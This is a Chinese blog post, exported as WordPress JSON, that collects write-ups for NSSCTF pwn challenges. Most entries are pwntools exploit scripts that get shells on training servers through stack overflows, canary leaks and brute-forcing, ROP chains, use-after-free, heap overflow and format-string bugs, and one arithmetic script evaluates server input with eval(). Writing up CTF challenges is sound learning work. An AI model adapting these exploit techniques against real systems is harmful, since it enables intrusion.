{"id":653,"date":"2025-12-09T11:15:13","date_gmt":"2025-12-09T03:15:13","guid":{"rendered":"https:\/\/www.okabe.xin\/wordpress\/?p=653"},"modified":"2025-12-13T13:56:12","modified_gmt":"2025-12-13T05:56:12","slug":"%e8%b6%85%e8%b6%85%e8%b6%85%e5%a4%a7%e6%9d%af%e6%9d%a5%e4%ba%86","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=653","title":{"rendered":"\u8d85\u8d85\u8d85\u5927\u676f\u6765\u4e86"},"content":{"rendered":"\n

NSSCTF<\/h1>\n\n\n\n

[2021 \u9e64\u57ce\u676f]littleof<\/h2>\n\n\n\n
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
\u200b
p = remote('node4.anna.nssctf.cn',28679)
\u200b
elf = ELF('.\/littleof')
\u200b
pop_rdi = 0x0400863
ret = 0x040059e
main_addr = 0x04006E2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
\u200b
#\u83b7\u53d6canary\u5730\u5740
payload = b'a'*(0x50-9) + b'b'  #\u8fd9\u91cc0x50-9\u591a\u51cf\u4e00\u4e2a1\u662f\u56e0\u4e3a\u65b9\u4fbf\u6211\u4eec\u5b9a\u4f4d
p.sendlineafter('Do you know how to do buffer overflow?', payload)
p.recvuntil(b'ab\\n')
canary_addr = u64(p.recv(7).rjust(8,b'\\x00')) #\u63a5\u6536anary\u5730\u5740\uff0c\u63a5\u65367\u4e2a\u5b57\u7b26\u4e32\u4e0d\u8db3\u516b\u4e2a\u7528\\x00\u8865\u9f50\u7136\u540e\u7528u64\u8fdb\u884c\u6253\u5305\uff08\u6ce8\u610f\u8fd9\u91cc\u662frjust\u4e5f\u5c31\u662f\u53f3\u5bf9\u9f50\u5b57\u7b26\u4e32\uff09
print(hex(canary_addr))
\u200b
\u200b
#\u6cc4\u9732got\u8868\u5730\u5740
payload2 = b'a' * (0x50-8) + p64(canary_addr) + p64(0) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #\u51cf\u53bbcanary\u518dbuf\u4e2d\u7684\u5927\u5c0f\u7136\u540e\u52a0\u4e0acanary\u5730\u5740\u518d\u52a0\u4e0a8\u4e2a\u5b57\u8282\u8986\u76d6\u5230\u8fd4\u56de\u5730\u5740\uff0c\u518d\u52a0\u4e0ardi\u5b58\u5165puts_got\u5730\u5740\u5f53\u4f5c\u53c2\u6570\u7136\u540e\u4f7f\u7528puts_plt\u8f93\u51faputs_got\u5730\u5740\u518d\u6267\u884cmain\u51fd\u6570
p.sendlineafter('Try harder!', payload2)
p.recvuntil(b'I hope you win')
puts_addrs = u64(p.recvuntil(b'\\x7f')[-6:].ljust(8,b'\\x00')) #\u63a5\u6536puts\u51fd\u6570\u518dgot\u8868\u9879\u4e2d\u7684\u5730\u5740\uff0c\u4ece\\x7f\u5f00\u59cb\u5411\u540e\u63a5\u65366\u4e2a\u5b57\u7b26\uff0c\u4e0d\u8db38\u4e2a\u7528\\x00\u8865\u9f50\uff0c\uff08\u6ce8\u610f\u8fd9\u91cc\u662fljust\u4e5f\u5c31\u662f\u5de6\u5bf9\u9f50\uff09
print(hex(puts_addrs))
\u200b
#\u8ba1\u7b97\u51falibc\u57fa\u5730\u5740,\u6b64\u9898libc\u67e5\u8be2\u4e0d\u5230\uff01
'''
libc = LibcSearcher('puts', puts_addrs)
'''
libc_base = puts_addrs - 0x80aa0
systeam_addrs = libc_base + 0x4f550
bin_sh_addrs = libc_base + + 0x1b3e1a
\u200b
#\u91cd\u590d\u7b2c\u4e00\u4e2a\u6b65\u9aa4\u8fd9\u91cc\u518d\u6b21\u83b7\u53d6canary\u5730\u5740\u662f\u56e0\u4e3a\u6211\u4eec\u518d\u4e0a\u4e00\u6b21payload\u4e2d\u6700\u540e\u4e00\u6bb5\u5199\u5165\u4e86main\u51fd\u6570\u6240\u4ee5\u7a0b\u5e8f\u518d\u6267\u884c\u5b8c\u4e0a\u4e00\u6b21\u7684paylaod\u540e\u4f1a\u91cd\u65b0\u8fd0\u884c\u7a0b\u5e8f\u8fd9\u91cc\u5c31\u91cd\u5934\u5f00\u59cb\u4e86\uff0c\u53c8\u56e0\u4e3a\u7a0b\u5e8f\u662f\u9700\u8981\u8f93\u5165\u4e24\u6b21\u800c\u6211\u4eec\u53c8\u662f\u518d\u7b2c\u4e8c\u6b21\u8f93\u5165\u65f6\u8fdb\u884c\u6784\u9020payload\u8fd4\u56de\u5730\u5740\u6240\u4ee5\u6b64\u5904\u6211\u4eec\u5c31\u8981\u518d\u83b7\u53d6\u4e00\u6b21canary\u5730\u5740
payload3 = b'a'*(0x50-9) + b'b'  #\u8fd9\u91cc0x50-9\u591a\u51cf\u4e00\u4e2a1\u662f\u56e0\u4e3a\u65b9\u4fbf\u6211\u4eec\u5b9a\u4f4d
p.sendlineafter('Do you know how to do buffer overflow?', payload3)
p.recvuntil(b'ab')
canary_addr2 = u64(p.recv(7).rjust(8,b'\\x00'))
print(hex(canary_addr2))
\u200b
#\u6784\u9020shellcode
payload4 = b'a' * (0x50-8) + p64(canary_addr) + p64(0) + p64(ret) + p64(pop_rdi) + p64(bin_sh_addrs) + p64(systeam_addrs)  #\u6784\u9020\u7b2c\u4e8c\u6b21payload\u8fd9\u91cc\u6dfb\u52a0ret\u7684\u5730\u5740\u662f\u4e3a\u4e86\u4fdd\u8bc1\u6808\u5bf9\u9f50\u3002
p.sendlineafter('Try harder!', payload4)
\u200b
\u200b
p.interactive()<\/code><\/pre>\n\n\n\n
[LitCTF 2023]\u53e3\u7b97\u9898\u5361<\/h2>\n\n\n\n
from pwn import *
context.log_level = 'debug'
io = remote(\"node4.anna.nssctf.cn\",28257)
io.recvuntil(b\"is \")
for i in range(100):
    io.recvuntil(b\"is \")
    a = io.recv()[0:-2]
    a_text = a.decode()
\u200b
    result = eval(a_text)
\u200b
    io.sendline(str(result).encode())
io.interactive()<\/code><\/pre>\n\n\n\n
[WUSTCTF 2020]getshell2<\/h2>\n\n\n\n
from pwn import *
io = remote('node5.anna.nssctf.cn', 20971)
sh = 0x08048670
call_sys = 0x8048529
payload = b'A'*(0x18+4) + p32(call_sys) +p32(sh)
io.sendline(payload)
io.interactive()<\/code><\/pre>\n\n\n\n
[HNCTF 2022 Week1]fmtstrre<\/h2>\n\n\n\n
#\u7206\u7834\u6cd5\uff0c\u4e0d\u591f\u4f18\u96c5\uff0c\u6709gdb\u8c03\u8bd5\u67e5\u5230\u662f0x20\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u52a0\u516d\u4e2a\u5bc4\u5b58\u5668\u5730\u5740\u7684\u8bf4\u6cd5
#0x20 = 32   || 32+6 = 38
#\u6240\u4ee5\u662f%38$s
from pwn import *
\u200b
\u200b
context.log_level = 'debug'
\u200b
host = 'node5.anna.nssctf.cn'
port = 23089
start = 1  # \u8d77\u59cb\u504f\u79fb\u91cf
\u200b
while True:
    try:
        io = remote(host, port)
        # \u63a5\u6536\u521d\u59cb\u63d0\u793a\u4fe1\u606f
        io.recvuntil('Input your format string.')
\u200b
        # \u53d1\u9001\u5f53\u524d\u504f\u79fb\u91cf\u7684payload
        payload = f'%{start}$s'.encode()
        io.sendline(payload)
\u200b
        # \u63a5\u6536\u54cd\u5e94
        io.recvline()  # \u63a5\u6536\"Ok.\"
        res = io.recvline()
        print(f'Offset {start}: {res.decode().strip()}')
\u200b
        start += 1  # \u504f\u79fb\u91cf+1
        io.close()
\u200b
    except EOFError:
        print(f'\u65ad\u5f00\u8fde\u63a5\uff0c\u5c1d\u8bd5\u4e0b\u4e00\u4e2a\u504f\u79fb\u91cf: {start + 1}')
        start += 1  # \u65ad\u8054\u540e\u504f\u79fb\u91cf+1
        try:
            io.close()
        except:
            pass
    except Exception as e:
        print(f'\u9519\u8bef: {e}\uff0c\u7ee7\u7eed\u6d4b\u8bd5\u504f\u79fb\u91cf: {start}')
        try:
            io.close()
        except:
            pass<\/code><\/pre>\n\n\n\n
[NISACTF 2022]UAF<\/h2>\n\n\n\n
main\u51fd\u6570\u7eaf\u6253\u5370\u83dc\u5355\u7684<\/p>\n\n\n\n
\u6ca1\u5565\u4e1c\u897f<\/p>\n\n\n\n
\u8fdb\u83dc\u5355\u64cd\u4f5c\u91cc\u770b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u770b\u5230\u8fd9\u91cc\u5bf9i = 0\u7684\u60c5\u51b5\u505a\u4e86\u4fdd\u62a4<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4ed4\u7ec6\u89c2\u5bdf\u540e\uff0c\u53d1\u73b0\u57fa\u672c\u4e0a\u90fd\u6709\u5305\u542b0\u7684\u60c5\u51b5\u5e76\u8fdb\u884c\u5904\u7406<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f46\u662fdel\u51fd\u6570\u6ca1\u6709\u5bf9i = 0\u8fdb\u884c\u5305\u542b\u5904\u7406<\/p>\n\n\n\n
\u524d\u9762\u7684\u5bf9i = 0\u7684\u60c5\u51b5\u8fdb\u884c\u5305\u542b\uff0c\u5bfc\u81f4\u4e86\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u5bf9\u9875\u97620\u7684\u5185\u5bb9\u8fdb\u884cedit\u64cd\u4f5c<\/p>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u9700\u8981\u5148\u7533\u8bf7\u4e00\u4e2a\uff0c\u7136\u540e\u91ca\u653e\u6389\uff0c\u56e0\u4e3a\u5b83\u6307\u9488\u6ca1\u7f6e\u96f6<\/p>\n\n\n\n
\u6240\u4ee5\u5f53\u6211\u4eec\u518d\u7533\u8bf7\u7684\u65f6\u5019\uff0c\u56e0\u4e3a\u5927\u5c0f\u662f\u4e00\u6837\u7684\uff0c\u6240\u4ee5\u8fd8\u662f\u539f\u6765\u7684\u90a3\u4e2a\u5806\u5757\uff0c\u90a3\u4e2a\u6307\u9488\u4e5f\u8fd8\u5728\uff0c\u8fd9\u4e2a\u65f6\u5019\u53ea\u8981\u6211\u4eec\u5bf9\u5176\u8fdb\u884cedit\u64cd\u4f5c\u7136\u540e\u7528show\u53bb\u5c55\u793a\u5185\u5bb9\uff0c\u5c31\u80fd\u5b8c\u6210getshell<\/p>\n\n\n\n
\u6b38\uff0c\u4e3a\u4ec0\u4e48\u5c31getshell\u4e86\uff0c\u56e0\u4e3a\u8fd9\u9898\u7ed9\u4e86system(command);<\/p>\n\n\n\n
\u6240\u4ee5\u8f6c\u5230getshell\u7684\u5730\u5740\u5c31\u597d\u4e86<\/p>\n\n\n\n
\u56e0\u4e3apage \u5373 &(page[0])\uff0cpage+1\u5373&(page[1]) \uff0cfunc\u5728page[0]\u5411\u540e\u504f\u79fb4byte\u5904\uff0c\u6240\u4ee5argu\u4e0d\u80fd\u592a\u957f\uff0c\u5fc5\u987b\u5c0f\u4e8e4byte<\/p>\n\n\n\n
\u6240\u4ee5\u5728\u4f20\u5165\u8fdbshell\u7684\u547d\u4ee4\u65f6\uff0c\u8981\u6ce8\u610f\u6784\u9020\uff1a\u2019\/bin\/sh0x00\u2019\u592a\u957f\u4e86\uff0c\u6362\u6210\u2018sh\\x00\\x00\u2019\uff0c\u51714byte + getshell_addr<\/p>\n\n\n\n
from pwn import *\ncontext.log_level = 'debug'\nio = remote('node4.anna.nssctf.cn', 28245)\n\u200b\nbackdoor = 0x8048642\n\u200b\n\u200b\n# payload = b'sh\\x00\\x00' + p32(backdoor)\npayload = b'sh;\\00' + p32(backdoor)\n\u200b\ndef create():\n \u00a0 \u00a0io.sendline(b'1')\n\u200b\ndef delete():\n \u00a0 \u00a0io.sendline(b'3')\n \u00a0 \u00a0io.sendline(b'0')\n\u200b\ndef edit():\n \u00a0 \u00a0io.sendline(b'2')\n \u00a0 \u00a0io.sendline(b'1')\n \u00a0 \u00a0io.sendline(payload)\n\u200b\ndef show():\n \u00a0 \u00a0io.sendline(b'4')\n \u00a0 \u00a0io.sendline(b'0')\n\u200b\ncreate()\ndelete()\ncreate()\nedit()\nshow()\n\u200b\nio.interactive()\n\n<\/code><\/pre>\n\n\n\n
[BJDCTF 2020]YDSneedGirlfriend<\/h2>\n\n\n\n
from pwn import *
context.log_level = 'debug'
\u200b
\u200b
io = remote('node4.anna.nssctf.cn', 28929)
\u200b
\u200b
backdoor = 0x400B9C
payload = p64(backdoor)
\u200b
\u200b
def add(size, data):
    io.sendline(b'1')  # \u53d1\u9001\u9009\u98791
    io.recvuntil(b'Her name size is :')  # \u7b49\u5f85size\u8f93\u5165\u63d0\u793a
    io.sendline(str(size).encode())  # \u53d1\u9001size
    io.recvuntil(b'Her name is :')  # \u7b49\u5f85name\u8f93\u5165\u63d0\u793a
    io.sendline(data)  # \u53d1\u9001name\u5185\u5bb9
\u200b
def delete(idx):
    io.sendline(b'2')  # \u53d1\u9001\u9009\u98792
    io.recvuntil(b'Index :')  # \u7b49\u5f85\u7d22\u5f15\u8f93\u5165\u63d0\u793a
    io.sendline(str(idx).encode())  # \u53d1\u9001\u7d22\u5f15
\u200b
def show(idx):
    io.sendline(b'3')  # \u53d1\u9001\u9009\u98793
    io.recvuntil(b'Index :')  # \u7b49\u5f85\u7d22\u5f15\u8f93\u5165\u63d0\u793a
    io.sendline(str(idx).encode())  # \u53d1\u9001\u7d22\u5f15
\u200b
\u200b
# \u5229\u7528\u6d41\u7a0b\uff1a\u4e25\u683c\u6309\u5806\u5206\u914d\u903b\u8f91\u6267\u884c
add(0x30, b'aaa')  # \u5206\u914d\u7b2c1\u4e2a\u5bf9\u8c61\uff08A0+B0\uff09
add(0x30, b'bbb')  # \u5206\u914d\u7b2c2\u4e2a\u5bf9\u8c61\uff08A1+B1\uff09
delete(0)          # \u91ca\u653eA0\u548cB0\uff08UAF\uff09
delete(1)          # \u91ca\u653eA1\u548cB1\uff08UAF\uff09
\u200b
# \u5206\u914d0x10\u5927\u5c0f\u7684B chunk\uff0c\u91cd\u7528A0\u7684\u5730\u5740\uff0c\u8986\u76d6\u51fd\u6570\u6307\u9488
add(0x10, payload)
\u200b
show(0)  # \u89e6\u53d1\u88ab\u8986\u76d6\u7684\u51fd\u6570\u6307\u9488\uff0c\u6267\u884cbackdoor
\u200b
\u200b
io.interactive()
\u200b
\u200b
\u200b
# from pwn import *
# context.log_level = \"debug\"
# io=remote('node4.anna.nssctf.cn',28254)
#
#
# def add(size,data):
#     io.sendlineafter(\"Your choice :\", \"1\")
#     io.sendlineafter(\"Her name size is :\", str(size))
#     io.sendlineafter(\"Her name is :\", data)
#
# def delete(index):
#     io.sendlineafter(\"Your choice :\", \"2\")
#     io.sendlineafter(\"Index :\", str(index))
#
#
# def show(index):
#     io.sendlineafter(\"Your choice :\", \"3\")
#     io.sendlineafter(\"Index :\", str(index))
#
# backdoor=0x400B9C
#
# add(0x30,'aaa')
# add(0x30,'bbb')
#
# delete(0)
# delete(1)
#
# add(0x10,p64(backdoor))
# show(0)
# io.interactive()<\/code><\/pre>\n\n\n\n
[HNCTF 2022 Week1]ezr0p32<\/h2>\n\n\n\n
from pwn import *
io  = remote('node5.anna.nssctf.cn', 26331)
\u200b
system = 0x080483D6
sh = 0x804A080
\u200b
payload1 = b'bin\/sh\\x00'
io.sendline(payload1)
\u200b
payload2 = b'a'*(28+4) + p32(system) + p32(0) +p32(sh)
io.sendline(payload2)
io.interactive()<\/code><\/pre>\n\n\n\n
[HDCTF 2023]Makewish<\/h2>\n\n\n\n
\u6808\u8fc1\u79fb + off by null + \u4f2a\u968f\u673a\u6570\uff0c\u4f2a\u968f\u673a\u6570\u80fd\u62ffgdb\u627e\u51fa\u6765<\/p>\n\n\n\n
from pwn import *
\u200b
context(arch='amd64',log_level='debug')
\u200b
 
# gdb.attach(io)
# raw_input()
while(1):
    io=remote('node4.anna.nssctf.cn',28167)
    io.recvuntil(b'name\\n\\n')
    io.sendline(b'a'*39+b'b')
    io.recvuntil(b'aaab')
    canary=u64(io.recv(8))-0x0a
    success(hex(canary))
 
    
    num=707
    io.send(p32(num))
 
    io.recvuntil(b'can make a wish to me\\n')
    raw_input()
    backdoor=0x4007C7
    payload=p64(backdoor)*11+p64(canary)
    io.send(payload)
    raw_input()
 
    io.interactive()<\/code><\/pre>\n\n\n\n
[NISACTF 2022]ezheap<\/h2>\n\n\n\n
\u5148\u76f4\u63a5exp\u8d77\u624b\uff1a<\/p>\n\n\n\n
from pwn import *
#io = process(\".\/ezheap\")
io = remote(\"node5.anna.nssctf.cn\",26582)
\u200b
payload = b'a'*28 + p32(0x21) +b'\/bin\/sh\\x00' 
\u200b
#gdb.attach(io)
io.send(payload)
io.interactive()<\/code><\/pre>\n\n\n\n
\u8fd9\u9898\u7684\u610f\u4e49\u5c31\u5728\u4e8e\u5806\u7ba1\u7406\u673a\u5236\u7684\u5b66\u4e60<\/p>\n\n\n\n
\u5806\u8fd9\u4e2a\u4e1c\u897f\u5f88\u62bd\u8c61\uff08\u6211\u8ba4\u4e3a<\/p>\n\n\n\n
\u539f\u6837\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5229\u7528\u6548\u679c\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u4f17\u6240\u4e0d\u5468\u77e5\u554a\uff0c32\u4f4d\u548c64\u4f4d\u5728\u7533\u8bf7\u5806\u5757\u7684\u65f6\u5019\u4f1a\u6709\u4e00\u4e9b\u5947\u5947\u602a\u602a\u7684\u4e8b\u60c5<\/p>\n\n\n\n
\u4e5f\u5c31\u662f\u7533\u8bf7\u5230\u7684\u5927\u5c0f\u548c\u5199\u7684\u7533\u8bf7\u5927\u5c0f\u4e0d\u4e00\u6837<\/p>\n\n\n\n
\u8fd9\u91cc\u5c31\u7a0d\u5fae\u5199\u8be6\u7ec6\u4e00\u70b9\u5427<\/p>\n\n\n\n
\u7531\u4e8e\u5806\u7ba1\u7406\u673a\u5236\u7684\u95ee\u9898<\/p>\n\n\n\n
\u7528\u6237\u7533\u8bf7\u7684\u5927\u5c0f\uff0c\u4f1a\u5148\u5224\u65ad\u662f\u5426\u662f8\u7684\u500d\u6570<\/p>\n\n\n\n
\u5982\u679c\u662f\uff0c\u90a3\u5c31\u4e0d\u7ba1\u4e86\u5c31\u8fd9\u6837\u5427<\/p>\n\n\n\n
\u5982\u679c\u4e0d\u662f\u5c31\u8865\u8db3\u7a7a\u5b57\u8282\u4fdd\u8bc1\u6ee1\u8db3\u662f8\u7684\u500d\u6570\uff0c\u4ee5\u65b9\u4fbf\u8fdb\u884c\u5806\u7ba1\u7406<\/p>\n\n\n\n
\u7136\u540e\u8865\u8db3\u540e\uff0c32\u4f4d\u4f1a\u52a04\u5b57\u8282\u7684\u5934<\/p>\n\n\n\n
\u4ee5\u6b64\u7c7b\u63a8\uff0c64\u4f4d\u4f1a\u52a08\u5b57\u8282\uff08\uff09<\/p>\n\n\n\n
\u597d\uff0c\u8a00\u5f52\u6b63\u4f20\u56de\u5230\u9898\u76ee<\/p>\n\n\n\n
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *command; \/\/ [esp+8h] [ebp-10h]
  char *s; \/\/ [esp+Ch] [ebp-Ch]
\u200b
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  s = (char *)malloc(0x16u);
  command = (char *)malloc(0x16u);
  puts(\"Input:\");
  gets(s);
  system(command);
  return 0;
}<\/code><\/pre>\n\n\n\n
\u662f\u5427\uff0c\u5b9a\u4e49\u4fe9\u6307\u9488\uff0c\u7136\u540emalloc\u8fd9\u6837\u4e24\u5757<\/p>\n\n\n\n
0x16 = 22<\/p>\n\n\n\n
\u4e0d\u591f\uff0c\u586b\u7a7a\u5b57\u8282\u8fdb\u53bb<\/p>\n\n\n\n
\u8fd9\u4e2a\u65f6\u5019gdb\u8c03\u8bd5\u7684\u7ed3\u679c\u957f\u8fd9\u6837\uff1a<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u662f\u53ea\u8fdb\u884c\u4e86\u7b2c\u4e00\u6b21malloc\u7684\u6548\u679c\uff0c\u53ef\u4ee5\u770b\u5230\uff0c\u660e\u660e\u53ea\u8981\u4e860x16 = 22<\/p>\n\n\n\n
\u5b9e\u9645\u4e0a\u7ed9\u4e86\u4ece0x804b1a0\u52300x804b1bc\u7684\u957f\u5ea6<\/p>\n\n\n\n
\u4e5f\u5c31\u662f28\u5b57\u8282\uff08\u7c89\u8272\u5185\u5bb9\uff09<\/p>\n\n\n\n
\u7b49\u5230\u7b2c\u4e8c\u6b21malloc\u5b8c\u6210\uff0c\u60c5\u51b5\u4e5f\u662f\u7c7b\u4f3c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u597d\u4e86\uff0c\u7b2c\u4e8c\u6b21malloc\u7684\u5185\u5bb9\u4e0d\u5c31\u662f\u6211\u4eec\u8981\u7684command\u561b<\/p>\n\n\n\n
\u5b83\u8f93\u5165\u6ca1\u6709\u9a8c\u8bc1\u8f93\u5165\u957f\u5ea6<\/p>\n\n\n\n
\u6240\u4ee5\uff0c\u5806\u6ea2\u51fa\u4e0d\u5c31\u6765\u4e86\u561b<\/p>\n\n\n\n
\u5148\u519928\u5b57\u8282\u5783\u573e\u6570\u636e<\/p>\n\n\n\n
\u7136\u540e\uff0c\u90a3\u4e2a0x21\u662f\u5e72\u561b\u7684\u5462\uff0c\u5c31\u662f\u6807\u957f\u5ea6\u7684\uff0c\u8981\u662f\u60f3\u4fdd\u7559\u4e00\u70b9\u539f\u6c41\u539f\u5473\uff0c\u586b\u5b8c\u5783\u573e\u6570\u636e\u518dp32(0x21)\u5c31\u597d\u4e86<\/p>\n\n\n\n
\u53cd\u6b63\u5b83\u53ea\u662f\u6807\u6ce8\uff0c\u4e0d\u5f71\u54cd\u5b9e\u9645\u7684\u5185\u5b58\u533a\u57df\u5206\u914d\uff0c\u522b\u628a\u6211\u4eec\u60f3\u5199\u7684\/bin\/sh\u5199\u5230\u90a3\u91cc\u53bb\u5c31\u884c\u4e86<\/p>\n\n\n\n
\u6240\u4ee5\u76f8\u5f53\u4e8e\u4f60\u586b28+4 \u7684\u5783\u573e\u6570\u636e\u8fdb\u53bb\u90fd\u6ca1\u4e8b\uff0c\u53cd\u6b63\u90fd\u4e00\u6837<\/p>\n\n\n\n
\u5b8c\u4e86\u76f4\u63a5system(“\/bin\/sh”);<\/p>\n\n\n\n
\u6ca1\u4e86\uff0cget shell<\/p>\n\n\n\n
[NISACTF 2022]shop_pwn<\/h2>\n\n\n\n
\u597d\u4e1c\u897f\uff0c\u53c8\u662f\u6761\u4ef6\u7ade\u4e89\uff0c\u8fd9\u9898\u5f53\u6761\u4ef6\u7ade\u4e89\u5165\u95e8\u9898\u611f\u89c9\u633a\u4e0d\u9519\u7684<\/p>\n\n\n\n
main\u6307\u5411game()<\/p>\n\n\n\n
game()\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684<\/p>\n\n\n\n
void __noreturn game()
{
  int v0; \/\/ eax
  int i; \/\/ [rsp+Ch] [rbp-4h]
\u200b
  while ( 1 )
  {
    while ( 1 )
    {
      puts(\"     Welcome to my shop     \");
      puts(\"+===========================+\");
      puts(\"| No|        | Sell| Recycle|\");
      puts(\"+===+========+=====+========+\");
      for ( i = 0; i <= 15; ++i )
      {
        if ( *(_DWORD *)&gd[24 * i + 16] )
          printf(
            \"| %d | %-4s   | %3d |   %3d  |\\n\",
            i,
            &gd[24 * i],
            *(_DWORD *)&gd[24 * i + 16],
            *(_DWORD *)&gd[24 * i + 20]);
      }
      puts(\"+===========================+\");
      puts(\"1. look bags\\n2. buy goods\\n3. sale goods\");
      printf(\"> \");
      v0 = read_int();
      if ( v0 != 2 )
        break;
      buy();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        sale();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_17:
        puts(\"Invalid!\");
      }
    }
    else
    {
      if ( v0 != 1 )
        goto LABEL_17;
      look();
    }
  }
}<\/code><\/pre>\n\n\n\n
\u5e38\u89c4\u4e70\u5356\u4ea4\u6613<\/p>\n\n\n\n
\u4e70\u4e5f\u4f1a\u521b\u5efa\u65b0\u7684\u7ebf\u7a0b\u8ba9\u65b0\u7ebf\u7a0b\u8fd0\u884cto_buy\u51fd\u6570<\/p>\n\n\n\n
\u4f46\u662fto_buy\u51fd\u6570\u6ca1\u6709\u5ef6\u65f6\uff0c\u6761\u4ef6\u7ade\u4e89\u6253\u4e0d\u4e86<\/p>\n\n\n\n
\u4f46\u662f\u5356\u53ef\u4ee5<\/p>\n\n\n\n
\u90a3\u4e48\u76ee\u6807\u5c31\u662f\u53cd\u590d\u5356\u51fa\u8d5a\u7c73<\/p>\n\n\n\n
\u6b38\uff0c\u90a3\u6211\u4eec\u600e\u4e48\u53cd\u590d\u5356\u5462<\/p>\n\n\n\n
\u51481\u770b\u770b<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5f00\u5c40\u4e00\u652f\u7b14\uff0c\u90a3\u6709\u529e\u6cd5\u4e86<\/p>\n\n\n\n
\u76f4\u63a5\u5f00\u5356\uff0c\u5c31\u5229\u7528to_Sale\u5b58\u5728\u7684\u5ef6\u65f6\uff0c\u5728\u90a3\u6bb5\u65f6\u95f4\u91cc\u75af\u72c2\u7684\u5356\u51fapen<\/p>\n\n\n\n
\u5356\u5b8c\u94b1\u5c31\u591f\u4e70flag\u4e86<\/p>\n\n\n\n
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
\u200b
io = remote('node5.anna.nssctf.cn', 23623)
# io = process('.\/[NISACTF 2022]shop_pwn')
\u200b
\u200b
\u200b
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'3')
io.sendline(b'0')
io.sendline(b'2')
io.sendline(b'1')
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
[CISCN 2023 \u521d\u8d5b]funcanary<\/h2>\n\n\n\n
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __pid_t v3; \/\/ [rsp+Ch] [rbp-4h]
\u200b
  sub_1243();
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts(\"welcome\");
      sub_128A();
      puts(\"have fun\");
    }
  }
  puts(\"fork error\");
  exit(0);
}<\/code><\/pre>\n\n\n\n
fork\u51fd\u6570<\/p>\n\n\n\n
\u5408\u7406\u4e86<\/p>\n\n\n\n
canary\u4e3a\u6807\u9898\uff0c\u8fd9\u91cc\u731c\u90fd\u77e5\u9053\u662f\u8981\u9760\u7206\u7834\u4e86<\/p>\n\n\n\n
\u7206\u7834\u7684\u601d\u8def\u4ecd\u7136\u662f\u8001\u4e00\u5957<\/p>\n\n\n\n
\uff08\u53ef\u4ee5\u53c2\u8003pwn119\uff09<\/p>\n\n\n\n
\u5148\u4e0d\u6025\uff0c\u7ee7\u7eed\u5f80\u4e0b\u770b<\/p>\n\n\n\n
unsigned __int64 sub_128A()
{
  _BYTE buf[104]; \/\/ [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; \/\/ [rsp+68h] [rbp-8h]
\u200b
  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}<\/code><\/pre>\n\n\n\n
\u6ea2\u51fa\u70b9\u627e\u5230<\/p>\n\n\n\n
from pwn import *
io = process(\".\/service\")
\u200b
'\u63a5\u53d7\u6742\u8d28\u6d88\u606f'
io.recvuntil(b'welcome\\n')
\u200b
\u200b
canary = b'\\x00'
for k in range(7):
    for i in range(256):
        io.send(b'a'*(0x70-8) + canary + p8(i))
        response = io.recvuntil('welcome\\n')
        if b'fun' in response:
            canary += p8(i)
            print(b'canary: ',canary)
            break
            
            
cat = 0x0231
\u200b
while(1):
    for i in range(16):
        payload = b'a'*(0x70-8) + canary + b'a'*(8) + p16(cat)
        io.send(payload)
        response = io.recvuntil(\"welcome\\n\")
        print(response)
        if b'welcome' in response:
            cat += 0x1000
            continue
        if b'{' in response:
            print(response)
            break
\u200b
\u200b
io.interactive()<\/code><\/pre>\n\n\n\n
\u8f6e\u7740\u89e3\u91ca\u4e00\u4e0bexp<\/p>\n\n\n\n
\u7b2c\u4e00\u6b65\u7684\u4e24\u4e2a\u5d4c\u5957for\u5faa\u73af\u5c31\u662f\u4e3a\u4e86\u7206canary<\/p>\n\n\n\n
\u56e0\u4e3a\u4fdd\u62a4\u5168\u5f00\u7684\u539f\u56e0\uff0c\u5b58\u5728pie<\/p>\n\n\n\n
\u6240\u4ee5\u6211\u4eec\u770b\u5230\u7684cat flag\u8fd9\u4e2a\u6307\u4ee4\u7684\u4f4d\u7f6e\u4e5f\u662f\u4e0d\u786e\u5b9a\u7684<\/p>\n\n\n\n
\u4f46\u662f\u5185\u5b58\u5206\u9875\u673a\u5236\u5c31\u6548\u679c\u5c31\u662f\u80fd\u8ba9\u6211\u4eec\u901a\u8fc7\u7206\u7834\u5f3a\u89e3<\/p>\n\n\n\n
\u8fd9\u5c31\u5b8c\u4e8b\u4e86<\/p>\n\n\n\n
[HUBUCTF 2022 \u65b0\u751f\u8d5b]fmt<\/h2>\n\n\n\n
int __fastcall __noreturn main(int argc, const char **argv, const char **envp)
{
  FILE *stream; \/\/ [rsp+8h] [rbp-68h]
  char format[32]; \/\/ [rsp+10h] [rbp-60h] BYREF
  char s[8]; \/\/ [rsp+30h] [rbp-40h] BYREF
